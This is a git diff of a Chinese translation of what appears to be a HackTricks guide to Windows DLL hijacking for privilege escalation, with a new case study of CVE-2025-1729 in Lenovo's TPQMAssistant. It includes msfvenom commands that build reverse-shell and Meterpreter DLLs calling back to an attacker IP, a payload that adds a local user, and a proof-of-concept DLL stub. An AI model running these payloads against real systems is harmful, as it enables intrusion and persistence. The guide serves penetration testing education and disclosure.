Translated ['src/windows-hardening/windows-local-privilege-escalation/dl

This commit is contained in:
Translator 2025-07-09 09:14:03 +00:00
parent 723b119fd4
commit 16a7506d63

View File

@ -4,7 +4,7 @@
## Basic Information
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语包括几种战术,如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的特权升。尽管这里重点关注升,但劫持的方法在不同目标之间保持一致。
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的特权升。尽管这里重点关注升,但劫持的方法在不同目标之间保持一致。
### Common Techniques
@ -29,18 +29,18 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
![](<../../../images/image (153).png>)
如果您在寻找 **缺失的 DLL**可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 DLL**您应该设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**
如果您在寻找 **缺失的 DLL**,可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 DLL**则应设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**
## Exploiting Missing Dlls
为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索**,而原始 **DLL 在任何文件夹中都不存在**
为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 **DLL 在任何文件夹中都不存在**
### Dll Search Order
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录中的一个DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
您可以在 32 位系统上看到 **DLL 搜索顺序**
@ -51,11 +51,11 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
5. 当前目录。
6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
这是 **启用 SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0默认启用
这是启用 **SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0默认启用
如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将被视为仅按名称加载进行搜索)。
最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将仅按名称加载进行搜索)。
还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。
@ -63,7 +63,7 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前进行重定向和清单检查。**在这种情况下,系统不会进行 DLL 搜索**。
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会进行 DLL 的搜索**。
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
@ -72,10 +72,10 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
**Requirements**:
- 确定一个在 **不同特权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**
- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好,满足要求,您可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到适用于您可以使用的 Windows 版本**DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹的路径)。
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好并且满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到一个 DLL 劫持的 **PoC**适用于您可以使用的 Windows 版本(可能只需更改您有写入权限的文件夹的路径)。
请注意,您可以通过以下方式 **检查文件夹中的权限**
```bash
@ -91,7 +91,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
对于如何**利用Dll劫持提升权限**的完整指南,检查:
对于如何**利用 Dll Hijacking 提升权限**的完整指南,检查:
{{#ref}}
writable-sys-path-+dll-hijacking-privesc.md
@ -99,25 +99,25 @@ writable-sys-path-+dll-hijacking-privesc.md
### 自动化工具
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统PATH中的任何文件夹上具有写入权限。\
其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**_Find-ProcessDLLHijack__Find-PathDLLHijack_和_Write-HijackDll_。
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统 PATH 中的任何文件夹上具有写入权限。\
其他发现此漏洞的有趣自动化工具包括**PowerSploit 函数**_Find-ProcessDLLHijack__Find-PathDLLHijack_ _Write-HijackDll_
### 示例
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何请注意Dll劫持在[**从中等完整性级别提升到高完整性(绕过UAC**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**从高完整性提升到SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的 dll**。无论如何请注意Dll Hijacking 在[**从中等完整性级别提升到高完整性(绕过 UAC**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**从高完整性提升到 SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的 dll 劫持研究中找到**如何创建有效 dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本 dll 代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的 dll**。
## **创建和编译Dll**
## **创建和编译 Dll**
### **Dll代理**
### **Dll 代理**
基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
基本上,**Dll 代理**是一个能够**在加载时执行您的恶意代码**的 Dll同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择您想要代理的库**,并**生成一个代理 dll**,或**指定 Dll****生成一个代理 dll**。
### **Meterpreter**
**获取反向shell (x64)**
**获取反向 shell (x64)**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
@ -125,7 +125,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**创建用户x86我没有看到 x64 版本):**
**创建用户x86 我没有看到 x64 版本):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
@ -212,10 +212,48 @@ break;
return TRUE;
}
```
## 参考
## 案例研究CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升
此案例演示了联想的 TrackPoint 快速菜单 (`TPQMAssistant.exe`) 中的 **Phantom DLL Hijacking**,被追踪为 **CVE-2025-1729**
### 漏洞详情
- **组件**`TPQMAssistant.exe` 位于 `C:\ProgramData\Lenovo\TPQM\Assistant\`
- **计划任务**`Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` 每天上午 9:30 在登录用户的上下文中运行。
- **目录权限**:可由 `CREATOR OWNER` 写入,允许本地用户放置任意文件。
- **DLL 搜索行为**:首先尝试从其工作目录加载 `hostfxr.dll`,如果缺失则记录 "NAME NOT FOUND",表明本地目录搜索优先。
### 利用实现
攻击者可以在同一目录中放置恶意的 `hostfxr.dll` 存根,利用缺失的 DLL 在用户上下文中实现代码执行:
```c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
```
### 攻击流程
1. 作为标准用户,将 `hostfxr.dll` 放入 `C:\ProgramData\Lenovo\TPQM\Assistant\`
2. 等待计划任务在当前用户上下文中于上午9:30运行。
3. 如果在任务执行时有管理员登录,恶意 DLL 将以中等完整性在管理员会话中运行。
4. 链接标准 UAC 绕过技术,从中等完整性提升到 SYSTEM 权限。
### 缓解措施
联想通过 Microsoft Store 发布了 UWP 版本 **1.12.54.0**,该版本在 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` 下安装 TPQMAssistant移除易受攻击的计划任务并卸载遗留的 Win32 组件。
## 参考文献
- [CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
{{#include ../../../banners/hacktricks-training.md}}